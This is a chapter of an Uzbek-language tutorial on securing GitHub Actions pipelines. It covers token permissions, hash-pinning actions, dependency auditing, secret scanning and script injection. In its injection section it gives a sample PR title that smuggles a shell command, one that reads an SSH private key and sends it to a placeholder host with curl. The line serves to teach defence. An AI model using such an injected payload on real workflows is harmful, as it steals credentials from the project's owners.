19-bo‘lim
Quvur xavfsizligi
GITHUB_TOKEN ruxsatlari, amallarni xeshga qadash, bog'liqliklarni tekshirish, sir sizishi va ta'minot zanjiri hujumlari.
Ushbu bo‘lim mundarijasi
Quvur - sirlarga ega va serverga ulana oladigan kod. Shuning uchun u hujumchilar uchun qimmatli nishon: kodni buzishning eng qulay yo'li - uni chiqaradigan quvurni buzish.
Ta'minot zanjiri hujumi nima #
Hujumchi sizning kodingizga emas, siz ishonadigan narsaga hujum qiladi:
| Nishon | Qanday ishlaydi |
|---|---|
| Tayyor amal (action) | Ommabop amal egallanadi, unga zararli kod qo'shiladi |
| npm paketi | Kichik paket sotib olinadi yoki egallanadi |
| Asosiy obraz | FROM dagi obrazga zararli qatlam qo'shiladi |
| Bog'liqlikning bog'liqligi | Siz bilmagan, lekin o'rnatiladigan paket |
Bularning hammasi sizning quvuringizda, sizning sirlaringiz bilan ishlaydi.
1. Ruxsatlarni cheklash #
GITHUB_TOKEN ning huquqlari sukut bo'yicha keng bo'lishi mumkin. Har bir
workflow uchun ularni aniq yozing:
permissions:
contents: read
Keyin faqat kerak bo'lgan jobga qo'shimcha beriladi:
jobs:
obraz:
permissions:
contents: read
packages: write
runs-on: ubuntu-latest
| Ruxsat | Qachon kerak |
|---|---|
contents: read | Kodni o'qish - deyarli har doim |
contents: write | Reliz yaratish, teg qo'yish |
packages: write | Registry'ga obraz yuborish |
pull-requests: write | PR ga izoh yozish |
id-token: write | OIDC bilan bulutga ulanish |
Settings -> Actions -> General -> Workflow permissions bo'limida
sukutdagi ruxsatni read-only qilib qo'ying.
Shundan keyin har bir yozish huquqi workflow faylida aniq so'ralishi kerak bo'ladi - va bu fayl ko'rib chiqishdan o'tadi.
2. Amallarni versiyaga emas, xeshga qadash #
@v4 yozuvi qulay, lekin u harakatlanuvchi nishon: egasi v4 tegini
istalgan kodga ko'chirishi mumkin.
# qulay, lekin teg ko'chirilishi mumkin
- uses: actions/checkout@v4
# xesh - o'zgarmas
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
| Yozuv | Xavfsizligi | Qulayligi |
|---|---|---|
@main | Eng yomon - har o'zgarish darhol tushadi | - |
@v4 | O'rtacha - teg ko'chirilishi mumkin | Yuqori |
@v4.1.1 | Yaxshi, lekin teg baribir ko'chirilishi mumkin | Yuqori |
@<xesh> | Eng yaxshi - kod o'zgarmaydi | Past - qo'lda yangilanadi |
Xeshga qadash zerikarli, lekin Dependabot uni avtomatik yangilab turadi:
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
Bu fayl .github/dependabot.yml ga yoziladi va har hafta amallarning yangi
versiyasi uchun PR ochadi.
3. Bog'liqliklarni tekshirish #
- name: Zaifliklarni tekshirish
run: npm audit --audit-level=high
- name: Bog'liqlik o'zgarishini ko'rib chiqish
uses: actions/dependency-review-action@v4
dependency-review-action PR da qo'shilayotgan yangi bog'liqliklarni
tekshiradi va ma'lum zaiflik bo'lsa, PR ni to'xtatadi.
npm audit ni ko'r-ko'rona --fix qilmangnpm audit fix --force major versiyalarni ham ko'taradi va ilovani
buzishi mumkin.
To'g'ri tartib: hisobotni o'qing, qaysi zaiflik sizga tegishli ekanini aniqlang (ba'zilari faqat ishlab chiqish paytida ishlatiladigan paketlarda bo'ladi), keyin nishonga qarab yangilang.
4. Sir sizishining oldini olish #
| Xavf | Chora |
|---|---|
| Sir kodga yozib yuborilgan | Push protection va secret scanning yoqing |
| Sir jurnalda ko'rinib qoldi | Sirni chop etmang, set -x ishlatmang |
| Sir artefaktga tushdi | path: ni aniq yozing (9-bo'lim) |
| Fork PR sirlarni oldi | pull_request_target dan ehtiyot bo'ling (11-bo'lim) |
Settings -> Code security bo'limida ikkita bepul imkoniyat bor:
| Imkoniyat | Nima qiladi |
|---|---|
| Secret scanning | Repozitoriyda sirlarni qidiradi va topilsa xabar beradi |
| Push protection | Sir yozilgan kommitni push qilishga umuman yo'l qo'ymaydi |
5. Skriptlarga begona matn qo'ymang #
Bu eng nozik xavflardan biri:
# XAVFLI: sarlavha to'g'ridan-to'g'ri skriptga qo'yiladi
- run: echo "Yangi PR - ${{ github.event.pull_request.title }}"
PR sarlavhasini har kim yozadi. Unga shunday matn qo'yish mumkin:
Tuzatish"; curl -d "$(cat ~/.ssh/id_rsa)" https://yomon.misol; echo "
Natijada sizning quvuringiz begona buyruqni bajaradi. To'g'ri yo'l -
qiymatni env orqali berish:
- name: Xavfsiz
env:
SARLAVHA: ${{ github.event.pull_request.title }}
run: echo "Yangi PR - $SARLAVHA"
Endi matn skriptga emas, o'zgaruvchiga tushadi va shell uni buyruq sifatida o'qimaydi.
Foydalanuvchi yoza oladigan har qanday narsa ishonchsiz:
| Maydon | Izoh |
|---|---|
github.event.pull_request.title | PR sarlavhasi |
github.event.pull_request.body | PR tavsifi |
github.event.issue.title | Muammo sarlavhasi |
github.event.comment.body | Izoh matni |
github.event.head_commit.message | Kommit xabari |
github.head_ref | Tarmoq nomi |
Ularni hech qachon run: ichiga to'g'ridan-to'g'ri qo'ymang.
6. Deploy huquqlarini cheklash #
| Qoida | Izoh |
|---|---|
Deploy faqat main dan | if: github.ref == 'refs/heads/main' |
| Ishlab chiqarish muhitida tasdiq | 11-bo'limdagi environment |
| Alohida deploy kaliti | 15-bo'limdagi cheklangan SSH kaliti |
| Sirlar muhit bo'yicha ajratilgan | Sinov kaliti ishlab chiqarishga kirmaydi |
| Workflow fayllariga CODEOWNERS | 10-bo'limdagi qoida |
Tekshirish ro'yxati #
Quvuringizni shu ro'yxat bo'yicha ko'rib chiqing:
[ ] permissions: contents: read - butun workflow uchun standart
[ ] Yozish huquqi faqat kerak bo'lgan jobda
[ ] Amallar xeshga qadalgan yoki hech bo'lmasa aniq versiyada
[ ] Dependabot amallar va paketlar uchun yoqilgan
[ ] npm audit (yoki mos vosita) quvurda ishlaydi
[ ] Secret scanning va push protection yoqilgan
[ ] Foydalanuvchi matni run: ichida ishlatilmaydi
[ ] pull_request_target ishlatilmaydi yoki kodga tegmaydi
[ ] Ishlab chiqarish muhitida majburiy tasdiq bor
[ ] .github/workflows/ uchun CODEOWNERS belgilangan
- Barcha workflow fayllaringizga
permissions: contents: readqo'shing. - Qaysi joblarga yozish huquqi kerakligini aniqlab, faqat ularga bering.
- Ruxsatni olib tashlab, quvur qanday xato berishini ko'ring.
- Bitta amalni xeshga qadang va yoniga versiya izohini yozing.
.github/dependabot.ymlyaratib, amallar uchun haftalik tekshiruv yoqing.npm auditni quvurga qo'shing va natijani o'qing.- Sozlamalarda secret scanning va push protection ni yoqing.
- Sinov sifatida soxta kalitni kommit qilishga urinib ko'ring va bloklanishini kuzating.
- PR sarlavhasini
run:ichida ishlatadigan qadamnienvorqali xavfsiz qilib qayta yozing. - Yuqoridagi tekshirish ro'yxatini o'z loyihangizga qo'llang va natijani yozing.
Xulosa #
- Quvur - sirlarga ega kod, shuning uchun u alohida nishon.
- Ta'minot zanjiri hujumi sizning kodingizga emas, siz ishonadigan narsaga qaratiladi.
- Har bir workflow'da
permissionsni aniq yozing; standart -contents: read. - Amallarni xeshga qadash eng xavfsiz usul; Dependabot ularni yangilab turadi.
@mainga hech qachon bog'lanmang - bu har qanday o'zgarishni darhol qabul qilish demak.npm auditvadependency-review-actionbog'liqliklardagi zaifliklarni topadi.npm audit fix --forceilovani buzishi mumkin - hisobotni avval o'qing.- Secret scanning va push protection bepul va bir bosishda yoqiladi.
- Foydalanuvchi yozgan matnni (
PR sarlavhasi,izoh)run:ichiga qo'ymang -envorqali bering. - Deploy huquqlari cheklangan bo'lsin: faqat
main, majburiy tasdiq, alohida kalit.
Keyingi, yakuniy bo'limda o'rgangan hamma narsani bitta to'liq quvurga yig'amiz.
O‘qish tarixini saqlamoqchimisiz?
Tizimga kirsangiz, tugatgan bo‘limlaringiz saqlanadi va qoldirgan joyingizdan davom etasiz.
Xatolik topdingizmi?
Imlo xatosi, ishlamaydigan kod yoki noto‘g‘ri ma‘lumotni ko‘rsangiz - bizga xabar bering. Har bir xabar administrator tomonidan ko‘rib chiqiladi.